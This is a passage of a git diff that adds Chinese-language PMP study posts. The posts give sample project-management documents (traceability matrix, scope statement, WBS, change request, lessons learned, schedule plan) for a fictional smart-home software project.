Alexa）进行集成，支持用户通过这些助手发出指令。 + diff --git a/_posts/2024-10-05-666-rtm.md b/_posts/2024-10-05-666-rtm.md new file mode 100644 index 0000000..30a6e8a --- /dev/null +++ b/_posts/2024-10-05-666-rtm.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 需求跟踪矩阵 +pid: 666 +tags: [pmp, 高项] +--- + + + +需求跟踪矩阵 - Requirements Traceability Matrix（RTM） + +### 需求跟踪矩阵 + +**项目名称**：智能家居产品开发项目 +**项目经理**：李明 +**日期**：2024年10月 + +#### 1. 引言 + +需求跟踪矩阵用于跟踪项目中需求的落实情况，确保每一个需求都得到了实现并经过测试验证。矩阵列出每个需求与对应的设计、开发、测试阶段之间的关联。 + +| 需求编号 | 需求描述 | 设计文档 | 开发任务 | 测试用例 | 状态 | +| -------- | ------------------- | ----------- | ----------- | ----------- | ------ | +| F-001 | 智能语音控制功能 | 设计文档#01 | 开发任务#01 | 测试用例#01 | 已完成 | +| F-002 | 家庭安全监控功能 | 设计文档#02 | 开发任务#02 | 测试用例#02 | 进行中 | +| F-003 | 能源管理功能 | 设计文档#03 | 开发任务#03 | 测试用例#03 | 待开发 | +| F-004 | 远程控制家用电器 | 设计文档#04 | 开发任务#04 | 测试用例#04 | 待开发 | +| NF-001 | 系统响应时间小于2秒 | 设计文档#05 | 开发任务#05 | 测试用例#05 | 已完成 | +| NF-002 | 兼容安卓和iOS系统 | 设计文档#06 | 开发任务#06 | 测试用例#06 | 进行中 | +| NF-003 | 用户数据加密存储 | 设计文档#07 | 开发任务#07 | 测试用例#07 | 待开发 | + +#### 2. 使用说明 + +- **需求编号**：每个需求的唯一标识，用于追踪需求的进度。 +- **需求描述**：对应的需求说明。 +- **设计文档**：需求所对应的系统设计文档编号，用于确保该需求在系统设计中有所体现。 +- **开发任务**：对应的开发任务编号，确保需求得以开发实现。 +- **测试用例**：相应的测试用例编号，用于确认需求的功能经过了测试并符合要求。 +- **状态**：需求的当前状态，包括 "已完成"、"进行中"、"待开发" 等。 diff --git a/_posts/2024-10-05-667-ss.md b/_posts/2024-10-05-667-ss.md new file mode 100644 index 0000000..55b3fe3 --- /dev/null +++ b/_posts/2024-10-05-667-ss.md @@ -0,0 +1,99 @@ +--- +layout: post +title: 项目范围说明书 +pid: 667 +tags: [pmp, 高项] +--- + + + +项目范围说明书 - Scope Statement + +### **项目范围说明书** + +**项目名称**：智能家居产品开发项目 +**项目经理**：李明 +**日期**：2024年10月 + +#### 1. 项目背景 + +随着智能家居市场的快速增长，消费者对语音控制、家庭安全监控、能源管理等功能的需求不断上升。本项目旨在开发一款集成智能家居控制系统的解决方案，满足市场需求并提升用户生活质量。项目将设计并开发一个智能家居管理系统，通过语音控制、实时监控、远程操作等功能提升家居生活的便捷性和安全性。 + +#### 2. 项目目标 + +项目的主要目标如下： + +1. 开发一套完整的智能家居控制系统，支持家庭用户通过移动设备和语音控制管理家电设备。 +2. 提供家庭安全监控功能，用户可通过应用实时监控家庭安全并接收警报。 +3. 实现能源管理功能，优化电力和水资源消耗并生成节能建议。 +4. 系统应具备高安全性，确保用户数据加密存储和传输。 + +#### 3. 项目范围描述 + +本项目包括设计、开发、测试和部署一个智能家居控制系统，具体涵盖以下内容： + +- 开发智能语音控制模块，支持家用电器的语音操作。 +- 集成家庭安全监控功能，支持多摄像头实时监控和移动应用通知。 +- 开发能源管理模块，支持监测能源使用情况，生成节能报告。 +- 提供手机应用（兼容安卓和iOS），供用户远程控制家电设备及查看监控画面。 +- 系统数据加密和用户隐私保护，符合行业标准。 +- 后期运维支持和定期功能更新。 + +**项目排除的内容**： + +- 本项目不包含智能家居设备的硬件设计与制造，仅针对软件平台的开发与集成。 +- 不包括外部设备（如安全摄像头、智能灯泡）的安装服务。 +- 不包括额外的定制功能需求，所有功能模块按照标准需求开发。 + +#### 4. 可交付成果 + +项目完成后，以下可交付成果将交付至客户： + +- 智能家居控制系统（软件平台） +- 智能语音控制模块 +- 家庭安全监控模块 +- 能源管理模块 +- 远程控制手机应用（安卓和iOS版本） +- 系统用户手册和培训材料 + +#### 5. 里程碑 + +| 里程碑编号 | 里程碑描述 | 完成日期 | +| ---------- | ------------------ | -------------- | +| M-001 | 需求分析完成 | 2024年10月15日 | +| M-002 | 系统设计方案完成 | 2024年11月1日 | +| M-003 | 系统开发完成 | 2024年12月15日 | +| M-004 | 系统集成和测试完成 | 2025年1月10日 | +| M-005 | 系统部署和用户培训 | 2025年1月31日 | + +#### 6. 约束条件 + +- 项目预算限制为人民币200万元，包括开发、测试、部署和维护。 +- 项目开发时间严格限制在6个月内完成，必须在2025年1月底前部署上线。 +- 系统必须兼容现有的智能语音助手（如Google Assistant、Amazon Alexa）。 + +#### 7. 假设条件 + +- 用户具备智能家居设备（如摄像头、智能灯泡）的基础安装能力，不需要额外的安装服务支持。 +- 项目各干系人（包括开发团队、测试团队、客户）能够按时参与项目的各个阶段，并积极配合。 +- 外部供应商能够按时提供必要的硬件设备和服务支持。 + +#### 8. 项目验收标准 + +- 系统所有功能通过用户验收测试，包括语音控制、实时监控、能源管理等模块。 +- 系统通过安全性测试，确保用户数据的加密存储和传输符合相关法规要求。 +- 用户能够无障碍地使用移动应用远程管理家电设备，且系统响应时间小于2秒。 + +#### 9. 项目成功标准 + +项目将被视为成功的标准包括： + +- 系统稳定性达到预期，支持1000+用户同时在线，且无重大安全漏洞。 +- 用户反馈系统使用简便，能够提升家庭生活的安全性和舒适性。 +- 项目成本控制在预算范围内，且开发周期不超过预定时间。 + +#### 10. 项目风险 + +- 开发过程中可能面临的技术挑战，特别是语音控制模块的开发和集成。 +- 外部供应商未能按时交付硬件设备，可能导致系统集成延迟。 +- 系统上线后，可能面临意外的网络安全攻击，需要采取严格的安全防护措施。 diff --git a/_posts/2024-10-05-668-wbs.md b/_posts/2024-10-05-668-wbs.md new file mode 100644 index 0000000..37532cd --- /dev/null +++ b/_posts/2024-10-05-668-wbs.md @@ -0,0 +1,38 @@ +--- +layout: post +title: WBS +pid: 668 +tags: [pmp, 高项] +--- + + + +### **工作分解结构 (WBS)** + +项目名称：智能家居产品开发项目 + +#### 1.0 智能家居系统开发 + +- 1.1 需求分析 +- 1.2 系统设计 +- 1.3 系统开发 + - 1.3.1 语音控制模块开发 + - 1.3.2 安全监控模块开发 + - 1.3.3 能源管理模块开发 +- 1.4 系统集成与测试 +- 1.5 系统部署与培训 + +#### 2.0 移动应用开发 + +- 2.1 需求分析 +- 2.2 应用开发 + - 2.2.1 安卓版本开发 + - 2.2.2 iOS版本开发 +- 2.3 移动应用测试 +- 2.4 应用发布与用户培训 + +#### 3.0 系统维护与支持 + +- 3.1 运维支持准备 +- 3.2 用户反馈与系统优化 +- 3.3 定期功能更新 diff --git a/_posts/2024-10-05-669-wp.md b/_posts/2024-10-05-669-wp.md new file mode 100644 index 0000000..85abf63 --- /dev/null +++ b/_posts/2024-10-05-669-wp.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 工作包 +pid: 669 +tags: [pmp, 高项] +--- + + + +工作包 - Work Package + +### **工作包示例** + +#### 工作包名称：1.3.1 语音控制模块开发 + +- **工作包描述**：开发智能家居系统中的语音控制模块，支持用户通过语音命令操作家电设备。语音控制模块需要支持常见语音助手（如Google Assistant、Amazon Alexa）并实现本地化功能。 +- **负责人**：张伟 +- **预算**：50万元人民币 +- **开始日期**：2024年11月1日 +- **结束日期**：2024年12月15日 +- 主要交付成果： + - 语音控制模块代码 + - 语音命令集成测试文档 + - 模块用户手册 + +#### 工作包名称：1.4 系统集成与测试 + +- **工作包描述**：将各个模块集成至完整的智能家居控制系统，执行系统集成测试，确保各模块能够无缝协作并满足性能要求。 +- **负责人**：刘强 +- **预算**：30万元人民币 +- **开始日期**：2024年12月15日 +- **结束日期**：2025年1月10日 +- 主要交付成果： + - 完整的系统集成 + - 集成测试报告 diff --git a/_posts/2024-10-05-670-pp.md b/_posts/2024-10-05-670-pp.md new file mode 100644 index 0000000..9e55dc3 --- /dev/null +++ b/_posts/2024-10-05-670-pp.md @@ -0,0 +1,20 @@ +--- +layout: post +title: 规划包 +pid: 670 +tags: [pmp, 高项] +--- + + + +规划包 - Planning Package + +### **规划包示例** + +#### 规划包名称：3.2 用户反馈与系统优化 + +- **规划包描述**：收集用户反馈，识别系统优化的机会，并根据用户需求进行调整和功能升级。 +- **开始日期**：2025年2月 +- **结束日期**：2025年12月 +- **预算**：尚待确定（根据用户反馈和功能更新频率决定） + diff --git a/_posts/2024-10-05-671-wbsd.md b/_posts/2024-10-05-671-wbsd.md new file mode 100644 index 0000000..0219b2d --- /dev/null +++ b/_posts/2024-10-05-671-wbsd.md @@ -0,0 +1,26 @@ +--- +layout: post +title: WBS字典 +pid: 671 +tags: [pmp, 高项] +--- + + + +**WBS字典**：其英文术语为“WBS Dictionary”或“associated WBS dictionary (WBSD)”。 + +### **WBS 字典** + +**WBS 字典**是对WBS中每一个工作包或规划包的详细描述，包括范围、交付物、活动、里程碑、预算等。 + +#### **WBS 字典条目示例** + +| WBS 编号 | WBS 元素名称 | 描述 | 交付物 | 活动 | 里程碑 | 预算 | 责任人 | +| -------- | ---------------- | ------------------------------------------------------ | ------------------------------------ | -------------------------- | -------------------------------------- | ------------ | ------ | +| 1.3.1 | 语音控制模块开发 | 开发语音控制功能，支持家庭语音控制智能家电设备 | 语音控制模块代码、测试报告、用户手册 | 需求分析、开发、测试、集成 | 语音控制模块开发完成（2024年12月15日） | 50万元人民币 | 张伟 | +| 1.3.2 | 安全监控模块开发 | 实现安全监控功能，用户可通过应用实时监控家庭的安全状态 | 安全监控模块代码、测试报告、用户手册 | 系统设计、开发、测试 | 安全监控模块开发完成（2024年12月30日） | 60万元人民币 | 李明 | +| 2.2.1 | 安卓应用开发 | 开发安卓版本移动应用，支持智能家居远程控制 | 安卓应用代码、测试报告、用户手册 | 需求分析、开发、测试 | 安卓应用开发完成（2024年12月30日） | 40万元人民币 | 陈丽 | +| 3.1 | 运维支持准备 | 为系统上线后准备技术支持和维护团队 | 技术支持文档、运维团队组建 | 人员招聘、文档准备 | 运维支持准备完成（2025年1月31日） | 10万元人民币 | 刘强 | + + + diff --git a/_posts/2024-10-05-672-ca.md b/_posts/2024-10-05-672-ca.md new file mode 100644 index 0000000..e5f2a30 --- /dev/null +++ b/_posts/2024-10-05-672-ca.md @@ -0,0 +1,78 @@ +--- +layout: post +title: 控制账户 +pid: 672 +tags: [pmp, 高项] +--- + +控制账户的英文术语是“Control Account”，简称“CA”。 + +### **控制账户示例** + +**项目名称**：智能家居产品开发项目 + +#### 控制账户名称：1.3 系统开发 + +- **描述**：该控制账户涵盖整个智能家居系统的开发工作，包括所有功能模块的设计、开发和测试。 +- **WBS 代码**：1.3 +- 工作包： + - 1.3.1 语音控制模块开发 + - 1.3.2 安全监控模块开发 + - 1.3.3 能源管理模块开发 +- **规划包**：N/A +- 预算：总预算为150万元人民币 + - 语音控制模块开发：50万元 + - 安全监控模块开发：60万元 + - 能源管理模块开发：40万元 +- 进度计划： + - 开始日期：2024年11月1日 + - 结束日期：2025年1月15日 +- 里程碑： + - 语音控制模块开发完成：2024年12月15日 + - 安全监控模块开发完成：2024年12月30日 + - 能源管理模块开发完成：2025年1月15日 +- 绩效测量基线： + - **成本基线**：150万元 + - **进度基线**：完成时间为2025年1月15日 + - **范围基线**：系统开发必须包括语音控制、安全监控和能源管理模块，且每个模块的功能测试必须达到行业标准。 +- **责任人**：系统开发团队负责人（张伟） + +------ + +#### 控制账户名称：2.2 移动应用开发 + +- **描述**：此控制账户管理智能家居产品的移动应用开发工作，包括安卓和iOS版本的开发、测试和发布。 +- **WBS 代码**：2.2 +- 工作包： + - 2.2.1 安卓应用开发 + - 2.2.2 iOS 应用开发 +- **规划包**：N/A +- 预算：总预算为80万元人民币 + - 安卓应用开发：40万元 + - iOS 应用开发：40万元 +- 进度计划： + - 开始日期：2024年11月10日 + - 结束日期：2025年1月5日 +- 里程碑： + - 安卓应用开发完成：2024年12月30日 + - iOS 应用开发完成：2025年1月5日 +- 绩效测量基线： + - **成本基线**：80万元 + - **进度基线**：完成时间为2025年1月5日 + - **范围基线**：移动应用必须实现远程家居控制、语音识别、报警提示等核心功能，并与智能家居系统无缝对接。 +- **责任人**：移动应用开发团队负责人（陈丽） + +------ + +### **控制账户的特点**： + +1. **预算控制**：控制账户帮助将工作包和规划包聚合到一个管理层次，以确保对整个活动的成本进行控制和监控。在项目过程中，可以通过控制账户进行**实际成本**（AC）、**计划价值**（PV）和**挣值**（EV）的计算，以评估项目的执行情况。 +2. **进度管理**：通过控制账户可以有效地控制项目的进度，管理者可以通过里程碑和计划完成日期来监控各个工作包的完成情况。 +3. **绩效评估**：控制账户还可用于定期监控项目绩效，确保项目保持在既定的范围、成本和时间内。通过对成本和进度的偏差进行分析，项目管理者可以及时采取纠正措施。 + +------ + +**控制账户**是项目管理中的重要工具，有助于在不同的层次上跟踪项目的进度、预算和绩效，确保项目按计划完成。 + + + diff --git a/_posts/2024-10-05-673-wpd.md b/_posts/2024-10-05-673-wpd.md new file mode 100644 index 0000000..f49213f --- /dev/null +++ b/_posts/2024-10-05-673-wpd.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 工作绩效数据 +pid: 673 +tags: [pmp, 高项] +--- + +工作绩效数据（Work Performance Data） + +### 1. **工作绩效数据**（Work Performance Data） + +**定义**：工作绩效数据是直接从项目工作的执行过程中收集的原始观测结果。它是项目工作执行后产生的实际数据，用于反映项目执行状态。 + +#### 示例： + +- 项目名称：新系统开发项目 +- 数据收集时间：2024年10月 +- 数据内容： + 1. 进度数据： + - 任务 A 计划完成时间：2024年9月30日 + - 任务 A 实际完成时间：2024年10月5日 + - 任务 B 当前进度：完成75% + 2. 成本数据： + - 预算消耗：¥500,000 + - 实际支出：¥520,000 + 3. 资源数据： + - 当前分配开发人员：5名 + - 实际参与开发人员：4名 + 4. 风险事件： + - 新增风险：软件模块可能延迟交付，影响整体进度。 + 5. 质量数据： + - 完成测试用例：100个 + - 发现缺陷数：5个 diff --git a/_posts/2024-10-05-674-wpi.md b/_posts/2024-10-05-674-wpi.md new file mode 100644 index 0000000..f763834 --- /dev/null +++ b/_posts/2024-10-05-674-wpi.md @@ -0,0 +1,30 @@ +--- +layout: post +title: 工作绩效信息 +pid: 674 +tags: [pmp, 高项] +--- + +工作绩效信息（Work Performance Information） + +### 2. **工作绩效信息**（Work Performance Information） + +**定义**：工作绩效信息是在工作绩效数据基础上进行分析后产生的，体现项目当前的绩效和进展情况。它通过数据的整理、对比分析，帮助理解项目执行情况与计划的差异。 + +#### 示例： + +- 进度分析： + + - 任务 A 原计划在2024年9月30日完成，但实际延迟5天，完成时间为2024年10月5日。任务 B 按原计划进度应完成80%，但当前只完成了75%，存在轻微滞后。 + +- 成本分析： + + - 预算为¥500,000，但实际支出为¥520,000，超支4%。主要原因是人员缺少导致加班，外包费用增加。 + +- 资源使用情况： + + - 项目原计划安排5名开发人员，但由于某些成员的请假，目前只有4名开发人员，导致项目进度滞后。 + +- 质量分析： + + - 测试过程发现了5个缺陷，缺陷率较高，可能导致项目后期的返工和测试时间增加。 diff --git a/_posts/2024-10-05-675-wpr.md b/_posts/2024-10-05-675-wpr.md new file mode 100644 index 0000000..1afb962 --- /dev/null +++ b/_posts/2024-10-05-675-wpr.md @@ -0,0 +1,66 @@ +--- +layout: post +title: 工作绩效报告 +pid: 675 +tags: [pmp, 高项] +--- + +工作绩效报告（Work Performance Reports） + +### 3. **工作绩效报告**（Work Performance Reports） + +**定义**：工作绩效报告是在工作绩效信息基础上形成的可供项目干系人参考的报告。它包含项目进度、风险、质量、成本等方面的综合信息，并为决策提供支持。工作绩效报告通常是定期生成的，向管理层或项目干系人进行汇报。 + +#### 示例： + +------ + +#### **工作绩效报告** + +**项目名称**：新系统开发项目 +**报告日期**：2024年10月10日 +**报告周期**：2024年9月1日 - 2024年10月1日 + +##### **1. 项目总体进展** + +- 项目当前进度：85% +- 关键任务延迟： + - 任务 A 延迟5天（实际完成时间：2024年10月5日） + - 任务 B 进度滞后5%（当前进度：75%） + +##### **2. 成本管理** + +- 项目预算：¥1,000,000 +- 当前累计预算：¥500,000 +- 实际支出：¥520,000（超出预算 ¥20,000） +- 成本控制建议：由于人员不足，建议增加外包资源以加速开发。 + +##### **3. 质量管理** + +- 测试用例完成情况： + - 计划：完成150个测试用例 + - 实际：完成100个测试用例 +- 发现缺陷数：5个，均为中等严重度，修复计划在10月底前完成。 +- 质量控制建议：建议加快测试进度，避免后期缺陷集中导致上线延迟。 + +##### **4. 风险管理** + +- 当前风险： + - 风险1：开发团队人员短缺，导致任务延迟风险增加，已采取外包措施缓解。 + - 风险2：模块集成时可能发生的性能问题，已安排专门的性能测试团队进行评估。 + +##### **5. 资源管理** + +- 当前使用人员：4名开发人员（计划5名） +- 外包资源已增加至2名，预计在10月20日之前补充开发力量。 + +##### **6. 进度预测** + +- 预计项目完成日期：2025年1月5日 +- 当前进度滞后情况可能导致上线日期推迟1-2周，视资源调整情况而定。 + +##### **7. 管理建议** + +- 提前规划人员调度，尽快填补现有空缺。 +- 尽快处理已发现的质量问题，避免后期返工。 +- 增加测试资源，加速测试工作以减轻后期的压力。 diff --git a/_posts/2024-10-05-676-cr.md b/_posts/2024-10-05-676-cr.md new file mode 100644 index 0000000..44b9f60 --- /dev/null +++ b/_posts/2024-10-05-676-cr.md @@ -0,0 +1,110 @@ +--- +layout: post +title: 变更请求 +pid: 676 +tags: [pmp, 高项] +--- + + + +变更请求的英文术语是**Change Request**，简称**CR**。 + +### **变更请求文档示例** + +------ + +#### **变更请求单** + +- **项目名称**：新系统开发项目 +- **变更请求编号**：CR-2024-001 +- **请求日期**：2024年10月15日 +- **变更发起人**：张三（开发经理） +- **变更提出部门**：开发部 +- **变更提出人联系方式**：zhangsan@project.com + +------ + +#### **1. 变更描述** + +- **变更类型**：进度变更 / 范围变更 / 成本变更 / 质量变更 / 资源变更 / 风险应对 +- 变更内容： 由于现有开发团队人员短缺，导致开发任务延迟，为确保项目能够按时交付，现申请： + - 增加2名外包开发人员，以加快开发进度，并将相关开发任务分解至外包团队。 + - 原计划任务 B（数据库模块开发）完工时间为2024年11月15日，变更后将任务 B 完工时间调整为2024年12月5日。 + - 原任务 A 的完工时间已延迟5天，为避免后续整体进度滞后，申请在后续阶段适当增加开发资源，确保整体工期不受影响。 + +------ + +#### **2. 变更原因** + +- **变更原因描述**： 由于团队成员王某因病无法继续参与项目，导致开发任务 A、任务 B 均出现进度滞后。目前现有开发人员无法承担额外工作量。为了避免后续关键路径任务受到影响，需增派外包资源，并调整后续进度安排。 + +------ + +#### **3. 变更影响分析** + +- **3.1 范围影响**： + - 原项目范围不会发生变化，但增加外包开发人员将带来额外的人力资源管理工作，以及外包团队的进度协调需求。 +- **3.2 进度影响**： + - 任务 B 的开发工期将延长20天，任务 A 目前已延迟5天。整体项目计划完成时间预计从2025年1月5日推迟至2025年1月15日。 +- **3.3 成本影响**： + - 增加外包开发人员将带来额外的预算支出。预计每月需增加¥50,000的人员成本，总计将新增¥100,000的预算。 +- **3.4 质量影响**： + - 如果不进行人员补充，可能影响后续功能模块的质量交付。增加外包资源后，可能导致外包人员在初期沟通和熟悉项目时的效率偏低，但能保证整体交付质量。 +- **3.5 风险影响**： + - 增加外包资源存在一定的管理风险和质量风险，需要在项目管理中重点关注外包人员的工作质量和进度。 + - 外包团队进入项目可能导致沟通不畅风险，应提前安排项目入职培训，并建立沟通机制。 + +------ + +#### **4. 变更优先级** + +- **优先级级别**：中 +- **优先级原因**： 当前人员配置无法支撑项目的按时交付，变更属于中等优先级，建议尽快进行变更审批和人员补充。 + +------ + +#### **5. 变更实施计划** + +- 资源调整计划： + 1. 立即开始外包人员的招聘工作，目标是在2024年10月底前引入外包团队。 + 2. 为外包人员安排为期1周的项目入职培训，内容包括项目背景、当前任务进展、开发流程和测试标准等。 +- 进度调整计划： + 1. 任务 B（数据库模块开发）工期延长20天至2024年12月5日。 + 2. 任务 C（接口集成测试）由原计划的2024年11月25日调整为2024年12月10日启动。 + 3. 项目整体完工时间预计推迟至2025年1月15日。 + +------ + +#### **6. 变更批准要求** + +- **审批人**： + - 项目经理：李四 + - 技术总监：王五 + - 财务总监：赵六 +- **审批时间要求**：2024年10月20日前完成审批流程 + +------ + +#### **7. 变更审批意见** + +- **项目经理意见**： + - 建议尽快进行人员调整，但需密切监控外包团队的工作效率和进度情况。 +- **技术总监意见**： + - 同意增加外包人员，但建议优先选择熟悉项目开发技术栈的外包团队，以减少沟通和技术磨合期。 +- **财务总监意见**： + - 同意额外预算的增加，但要求所有额外费用的支出必须事先获得财务部的批准。 +- **审批状态**： + - 批准 + - 拒绝 + - 暂缓 + +------ + +#### **8. 变更执行总结** + +- **执行时间**：2024年11月1日 +- **变更状态**：已实施 +- **变更效果**： + - 外包团队已顺利加入，任务 B 的开发进度从滞后5%调整为与原计划持平。 + - 任务 C 启动时间提前至2024年12月5日，总体进度风险已消除。 +- **后续工作建议**： 建议在后期项目中定期监控外包人员的工作质量，并建立关键绩效指标（KPI）以衡量外包团队的工作绩效。 diff --git a/_posts/2024-10-05-677-llr.md b/_posts/2024-10-05-677-llr.md new file mode 100644 index 0000000..c67d15c --- /dev/null +++ b/_posts/2024-10-05-677-llr.md @@ -0,0 +1,106 @@ +--- +layout: post +title: 经验教训登记册 +pid: 677 +tags: [pmp, 高项] +--- + + + +经验教训登记册的英文术语可以表达为**Lessons Learned Register**。 + +### **经验教训登记册示例** + +------ + +#### **项目名称**：新系统开发项目 + +#### **项目编号**：NSP-2024 + +#### **版本号**：V1.0 + +#### **记录日期**：2025年1月15日 + +#### **负责人**：张三（项目经理） + +------ + +### **1. 项目总体经验教训** + +- **项目概述**： 新系统开发项目旨在为公司开发一个高效的管理信息系统（MIS），包括用户管理、数据分析、报表生成等核心功能。项目历时12个月，于2025年1月15日完成。 +- **成功经验总结**： + 1. **跨部门沟通机制的建立**： 在项目初期即引入跨部门沟通例会（每周一次），解决了跨部门协调问题，使开发、测试、市场、运维等各部门能及时了解项目进展，减少了信息传递的滞后。 + 2. **敏捷开发方法的有效应用**： 敏捷开发模式（Scrum）在项目中的应用，使得我们能够快速应对市场需求的变化，并通过迭代更新减少了返工次数。 + 3. **外包资源的成功引入**： 在人员短缺的情况下，迅速引入外包开发人员，有效缓解了人手不足的危机，并确保了开发进度。 +- **主要教训总结**： + 1. **需求变更管理不够严格**： 在项目中期，客户提出的多次需求变更未能及时进入正式变更控制流程，导致部分功能开发过程中的返工较多，影响了项目进度和预算。 + 2. **风险预估不足**： 项目初期未充分识别出潜在的团队成员因突发情况（如生病、离职）可能造成的进度风险，导致项目中期进度滞后。 + 3. **外包团队管理存在不足**： 外包团队的引入虽然解决了资源不足问题，但由于初期对其工作质量和进度的控制不够严谨，导致了部分功能交付延迟。建议在未来项目中加强外包团队的绩效考核和管理机制。 + +------ + +### **2. 各阶段经验教训** + +#### **2.1 启动阶段** + +- **成功经验**： + - 及时明确了项目的高层级目标和范围，确保所有干系人对项目目标的认知一致。 + - 项目章程和初步可行性研究报告制定迅速，获得了高层管理的快速审批。 +- **教训**： + - 在项目启动时，风险识别和评估工作不足，没有充分评估人员流动对项目的潜在影响。建议在未来项目中增加更详尽的风险识别流程，特别是针对资源可用性和人员管理方面的风险。 + +#### **2.2 规划阶段** + +- **成功经验**： + - 项目计划中使用了详细的WBS（工作分解结构），确保每项任务的责任人明确，提升了团队成员的执行效率。 +- **教训**： + - 项目进度规划时未充分考虑到各功能模块间的依赖性，导致部分开发工作因前置任务延迟而被迫推迟，建议在未来项目中加强对关键路径的识别和管理。 + +#### **2.3 执行阶段** + +- **成功经验**： + - 敏捷开发方法帮助团队应对了多次需求变更，同时保证了交付速度和质量。 + - 外包团队在项目执行中发挥了关键作用，尤其是应对突发的开发人员短缺问题。 +- **教训**： + - 由于缺乏外包团队管理的经验，初期外包团队的工作交付质量不佳，导致部分工作需返工，增加了成本和时间。未来需要建立外包资源的入职培训机制和定期审查流程。 + +#### **2.4 监控阶段** + +- 成功经验： + - 每周的项目状态报告和定期项目评审会议保证了项目的透明度，并及时识别和应对了风险。 +- 教训： + - 风险应对措施未能充分覆盖潜在的资源短缺问题，导致中期开发进度滞后。未来项目需要在风险管理计划中更具体地制定资源相关的应对策略。 + +#### **2.5 收尾阶段** + +- **成功经验**： + - 项目收尾过程中，所有验收标准均严格按照最初设定的质量标准执行，最终产品得到了客户的高度认可。 +- **教训**： + - 收尾阶段，部分文档归档工作延迟，导致知识转移和项目移交不够顺畅。建议在未来项目中，将文档管理纳入项目计划，设定清晰的归档时间节点。 + +------ + +### **3. 改进建议** + +- **项目管理流程**： + 1. 在需求变更管理中，进一步强化变更控制流程，确保每一次变更都经过评估和审批，避免返工。 + 2. 建立更系统的风险识别和应对机制，特别是在人员管理和资源调配方面。 +- **外包团队管理**： + 1. 在未来项目中，建议制定外包团队的绩效评估标准，并在项目初期为外包人员进行详细的项目入职培训，确保他们与内部团队的协同工作效率。 +- **沟通机制**： + 1. 增加外包团队的参与沟通频率，确保其在项目的各个阶段能够及时反馈问题和进展，避免沟通不畅导致的延误。 + +------ + +### **4. 经验教训审批** + +- **记录人**：张三（项目经理） +- **项目发起人审批**：王五（技术总监） +- **审批日期**：2025年1月16日 + +------ + +### **5. 经验教训分享计划** + +- **分享方式**： + 将此经验教训登记册在公司项目管理办公室（PMO）分享，作为未来类似项目的参考材料，并通过公司内部的知识分享平台推广，供所有项目经理和团队成员学习使用。 diff --git a/_posts/2024-10-05-678-smp.md b/_posts/2024-10-05-678-smp.md new file mode 100644 index 0000000..1ed9ba5 --- /dev/null +++ b/_posts/2024-10-05-678-smp.md @@ -0,0 +1,98 @@ +--- +layout: post +title: 进度管理计划 +pid: 678 +tags: [pmp, 高项] +--- + + + +进度管理计划 - Schedule Management Plan + +## **进度管理计划** + +### 1. **目标与概述** + +本进度管理计划的目标是确保项目在既定时间内顺利完成。计划详细描述了如何制定、监督、更新和控制项目进度。通过该计划，项目团队可以清晰理解如何管理进度偏差，并及时采取纠正措施。 + +### 2. **进度管理方法** + +项目的进度管理将基于项目管理软件（如Microsoft Project、JIRA等），采用关键路径法（CPM）和甘特图的方式来跟踪和管理。进度管理方法包括： + +- **活动定义**：明确项目中所需完成的所有任务和活动。 +- **活动排序**：识别任务之间的先后顺序和依赖关系。 +- **活动持续时间估算**：为每项任务分配预计的持续时间。 +- **进度表开发**：将所有活动安排到时间表上，形成项目进度基线。 +- **进度控制**：对进度进行监控和管理，确保按时完成任务。 + +### 3. **进度基准** + +项目的进度基准是由项目的主要里程碑和任务构成的参考点。每一个里程碑标志着关键项目交付物的完成。以下是项目的主要里程碑： + +- 项目启动：2024年11月1日 +- 需求分析完成：2024年12月1日 +- 设计阶段完成：2025年2月1日 +- 开发阶段完成：2025年7月1日 +- 测试阶段完成：2025年10月1日 +- 项目上线：2025年12月1日 +- 项目结束：2026年1月5日 + +进度基准将用于项目进度的比较和差异分析，以便团队识别潜在的偏差并采取纠正措施。 + +### 4. **活动定义与排序** + +项目的活动将按以下步骤执行，并按优先级和依赖关系进行排序： + +1. **需求收集与分析** +2. **系统设计（概要设计和详细设计）** +3. **开发阶段** +4. **单元测试** +5. **集成测试** +6. **用户验收测试** +7. **系统上线** + +### 5. **进度管理工具** + +项目团队将使用以下工具来管理和跟踪项目进度： + +- **甘特图**：用于显示任务的时间安排和依赖关系。 +- **关键路径法**：用于识别哪些任务对整个项目的完成日期有直接影响。 +- **项目管理软件**：如Microsoft Project、JIRA等，用于任务的分配、监控和跟踪。 + +### 6. **进度报告** + +项目进度报告将定期生成，以监控项目的进展情况。主要报告类型包括： + +- **周报**：每周一次的项目进展报告，记录已完成的任务、当前的进展和未解决的问题。 +- **月度报告**：每月总结项目的整体进展情况，评估是否有重大偏差。 +- **例会报告**：每次项目例会的报告内容，包括当前项目状态和下一步计划。 + +### 7. **进度控制与纠正措施** + +进度控制包括对项目进度的持续监控，一旦发现偏差，将进行以下步骤： + +- **变更请求**：若发现进度偏差较大，将向项目变更委员会提交变更请求。 +- **纠正措施**：分析延迟原因，调整任务优先级或增加资源投入以纠正进度。 +- **加速措施**：在项目滞后的情况下，可能采取加班、增加人力等措施。 + +### 8. **进度偏差与变更控制** + +若实际进度与计划进度的偏差超过5%，项目经理将触发变更管理流程。此流程包括以下步骤： + +1. **问题识别**：确认进度滞后的原因。 +2. **变更请求提交**：项目经理提交变更请求，说明偏差及其影响。 +3. **变更审批**：项目变更委员会审查和批准变更。 +4. **实施变更**：对项目计划和进度进行相应调整。 + +### 9. **进度的衡量与考核标准** + +进度管理的成功标准包括： + +- 项目在既定的时间表内完成，每项任务的延迟不得超过2天。 +- 项目中的关键任务必须按照关键路径进行，任何关键路径上的任务延误将立即触发加速措施。 + +### 10. **职责与角色** + +- **项目经理**：负责监督整个项目进度，协调资源，并在必要时提交进度变更请求。 +- **项目团队成员**：负责按时完成分配的任务，并定期报告进度。 +- **项目发起人**：监督整体项目进度，审批关键变更请求和进度调整。 diff --git a/_posts/2024-10-06-679-al.md b/_posts/2024-10-06-679-al.md new file mode 100644 index 0000000..588470d --- /dev/null +++ b/_posts/2024-10-06-679-al.md @@ -0,0 +1,26 @@ +--- +layout: post +title: 活动清单 +pid: 679 +tags: [pmp, 高项] +--- + +活动清单 - Activity List + +### **1. 活动清单** + +活动清单是项目中所需完成的所有活动的详细列表，每一项活动都有唯一的标识符，以便跟踪和管理。 + + + +| 活动编号 | 活动名称 | 活动描述 | 前置任务 | 后续任务 | 持续时间 | +| -------- | ------------ | -------------------------------- | -------- | -------- | -------- | +| A01 | 项目启动 | 正式启动项目并任命项目经理 | 无 | A02 | 1天 | +| A02 | 